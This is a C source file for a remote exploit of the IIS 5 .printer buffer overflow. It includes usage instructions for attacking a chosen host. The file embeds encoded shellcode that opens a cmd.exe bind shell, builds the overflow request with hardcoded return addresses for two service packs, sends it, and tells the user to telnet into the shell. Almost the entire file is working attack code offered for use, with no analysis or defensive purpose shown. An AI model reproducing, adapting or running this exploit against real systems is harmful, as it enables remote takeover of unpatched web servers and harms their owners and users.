/*********************************************************************************/
/*                IIS 5 remote .printer overflow exploit                         */
/*                                                                               */
/*                     by: isno <isno@xfocus.org>                                */
/*                                                                               */
/*     request: GET http://NOPNOP...EIPJmp/null.printer?Shellcode HTTP/1.0       */
/*                                       |______________|                        */
/*                 the shellcode spawns a cmd.exe shell                          */
/*  Usage: iisx <hostname> [iis port] [bind port] [service pack]                 */
/*      hostname  -- the host you want to attack                                 */
/*      iis port  -- the port IIS listened(default is 80)                        */
/*      bind port -- the port you want to connect if succeed(default is 7788)    */
/*      service pack  -- SP remote host installed(0 or 1, default is 0)          */
/*  example: iisx 127.0.0.1 80 2345 0                                            */
/*********************************************************************************/

#include <sys/types.h>
#ifndef WIN32
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#else
#pragma comment (lib,"Ws2_32")
#include <windows.h>
#include <winsock.h>
#define close closesocket
#define snprintf _snprintf
#endif
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#define NOP 0x43  //inc ebx, instead of 0x90

void usage(char *pgm);
int main(int argc, char *argv[])
{
        /* the shellcode searching for KERNEL32.DLL and GetProcAddress  */
        /* then spawns a cmd.exe shell on port 7788, coded by isno      */
        unsigned char shellcode[] =
        "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
        "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
        "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
        "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
        "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
        "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
        "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
        "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
        "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
        "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
        "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
        "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
        "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
        "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
        "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
        "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
        "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
        "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
        "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
        "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
        "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
        "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
        "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
        "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
        "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
        "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
        "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
        "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
        "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
        "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
        "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
        "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
        "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
        "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
        "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
        "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
        "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
        "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
        "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
        "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
        "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
        "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
        "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
        "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
        "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
        "\x68\x68\x68\x68";

        int                     i, s;
        int                     sptype = 0;
        unsigned short int      webport = 80;
        unsigned short int      bindport = 7788;
        char request[2048], jmpcode[281], execode[840];
        struct hostent          *ht;
        struct sockaddr_in      sin;

        #ifdef WIN32
        WSADATA WSAData;
        if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
        {
                printf("WSAStartup failed.\n");
                WSACleanup();
                exit(1);
        }
        #endif

        printf("iis5 remote .printer overflow exploit\n");
        printf("      by isno <isno@xfocus.org>    \n\n");

        if(argc < 2 || argc > 5)
        {
        usage(argv[0]);
        }
        if((ht = gethostbyname(argv[1])) == 0)
        {
                printf("Unable to resolve host %s\n",argv[1]);
                exit(1);
        }   
        if(argc > 2)
        {
                webport = atoi(argv[2]);
        }
        sin.sin_port = htons(webport);
        if(argc > 3)
        {
                bindport = htons(atoi(argv[3]));
                bindport^=0x9797;
                shellcode[778]= (bindport) & 0xff;
                shellcode[779]= (bindport >> 8) & 0xff;
        }
        if(argc > 4)
        {
                sptype = atoi(argv[4]);
        }

        for(i = 0; i < 268; i++)
                jmpcode[i] = (char)NOP;
        if(sptype == 0)
        {
                //jmp esp overwrite EIP
                jmpcode[268] = (char)0x4d;
                jmpcode[269] = (char)0x3f;
                jmpcode[270] = (char)0xe3;
                jmpcode[271] = (char)0x77;
        }
        else
        {
                jmpcode[268] = (char)0x8b;
                jmpcode[269] = (char)0x89;
                jmpcode[270] = (char)0xe8;
                jmpcode[271] = (char)0x77;
        }
        jmpcode[272] = (char)0x90;
        jmpcode[273] = (char)0x90;
        jmpcode[274] = (char)0x90;
        jmpcode[275] = (char)0x90;
        //jmp [ebx+0x64], jump to execute shellcode
        jmpcode[276] = (char)0xff;
        jmpcode[277] = (char)0x63;
        jmpcode[278] = (char)0x64;
        jmpcode[279] = (char)0x90;
        jmpcode[280] = (char)0x00;

        for(i = 0; i < 32; i++)
                execode[i] = (char)NOP;
        execode[32]=(char)0x00;
        strcat(execode, shellcode);

        snprintf(request, 2048, "GET http://%s/null.printer?%s HTTP/1.0\r\n\r\n", jmpcode, execode); 

        sin.sin_family = AF_INET;
        sin.sin_addr = *((struct in_addr *)ht->h_addr);
        if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                printf("Unable to set up socket\n");
                exit(1);
        }        
        if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)
        {
                printf("Unable to connect\n");
                exit(1);
        }
        else
                printf("Connected.\n");
        
        if(send(s, request, strlen(request), 0) == -1)
        {
                printf("Unable to send\n");
                exit(1);
        }
        else
        {
                printf("code sented...\n");
                printf("you may telnet %s %s\n", argv[1], argc>3?argv[3]:"7788");
        }
        #ifdef WIN32
        Sleep(1000);
        #else
        sleep(1);
        #endif
        close(s);
        exit(0);
}       

void usage(char *pgm)
{
        printf("Usage: %s <hostname> [iis port] [bind port] [service pack]\n", pgm);
        printf("    hostname  -- the host you want to attack\n");
        printf("    iis port  -- the port IIS listened(default is 80)\n");
        printf("    bind port -- the port you want to connect if succeed(default is 7788)\n");
        printf("    service pack  -- SP remote host installed(0 or 1, default is 0)\n");
        printf("example: %s 127.0.0.1 80 2345 0\n", pgm);
        exit(1);
}